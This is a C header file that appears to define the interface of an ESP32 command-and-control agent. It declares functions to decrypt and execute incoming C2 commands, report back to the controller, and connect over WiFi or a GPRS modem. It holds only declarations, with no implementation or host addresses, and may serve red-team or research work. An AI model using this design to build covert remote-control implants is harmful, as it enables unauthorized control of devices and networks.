148 lines
3.2 KiB
C
148 lines
3.2 KiB
C
#pragma once
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#ifdef __cplusplus
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extern "C" {
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#endif
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#include <stdbool.h>
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#include <stddef.h>
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#include <stdint.h>
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#include "sdkconfig.h"
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#include "esp_log.h"
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/* >>> CRITIQUE <<< */
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#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
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/* ============================================================
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* GLOBAL DEFINES
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* ============================================================ */
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#define MAX_ARGS 10
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#define MAX_RESPONSE_SIZE 1024
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/* Socket TCP global */
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extern int sock;
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/* ============================================================
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* COM INIT
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* ============================================================ */
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bool com_init(void);
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/* ============================================================
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* CRYPTO API
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* ============================================================ */
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/*
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* ChaCha20 encrypt/decrypt
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* Retourne un buffer malloc()'d → free() obligatoire
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*/
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unsigned char *chacha_cd(const unsigned char *data, size_t data_len);
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/* Base64 helpers */
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char *base64_decode(const char *input, size_t *output_len);
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char *base64_encode(const unsigned char *input, size_t input_len);
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/* C2 decode + decrypt + protobuf + exec */
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bool c2_decode_and_exec(const char *frame);
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/* ============================================================
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* ESP → C2 Messaging API
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* ============================================================ */
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bool agent_send(
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c2_AgentMsgType type,
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const char *source,
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const char *request_id,
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const void *data,
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size_t len,
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bool eof
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);
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/* Helpers globaux */
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bool msg_info(
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const char *src,
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const char *msg,
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const char *req
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);
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bool msg_error(
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const char *src,
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const char *msg,
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const char *req
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);
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bool msg_data(
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const char *src,
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const void *data,
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size_t len,
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bool eof,
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const char *req
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);
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/* ============================================================
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* DEVICE
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* ============================================================ */
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bool device_id_matches(
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const char *local_id,
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const char *target_id
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);
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/* ============================================================
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* CORE PROCESSING (C2 → ESP)
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* ============================================================ */
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void process_command(
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const c2_Command *cmd
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);
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/*
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* Compat legacy optionnel
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*/
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void process_command_from_buffer(
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uint8_t *buffer,
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size_t len
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);
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/* ============================================================
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* WIFI
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* ============================================================ */
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#ifdef CONFIG_NETWORK_WIFI
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void wifi_init(void);
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void tcp_client_task(void *pvParameters);
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#endif
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/* ============================================================
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* GPRS
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* ============================================================ */
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#ifdef CONFIG_NETWORK_GPRS
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#define BUFF_SIZE 1024
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#define UART_NUM UART_NUM_1
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#define TXD_PIN 27
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#define RXD_PIN 26
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#define PWR_KEY 4
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#define PWR_EN 23
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#define RESET 5
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#define LED_GPIO 13
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void setup_uart(void);
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void setup_modem(void);
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bool connect_gprs(void);
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bool connect_tcp(void);
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bool gprs_send(const void *buf, size_t len);
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void gprs_rx_poll(void);
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void close_tcp_connection(void);
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void gprs_client_task(void *pvParameters);
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void send_at_command(const char *cmd);
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#endif
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#ifdef __cplusplus
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}
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#endif
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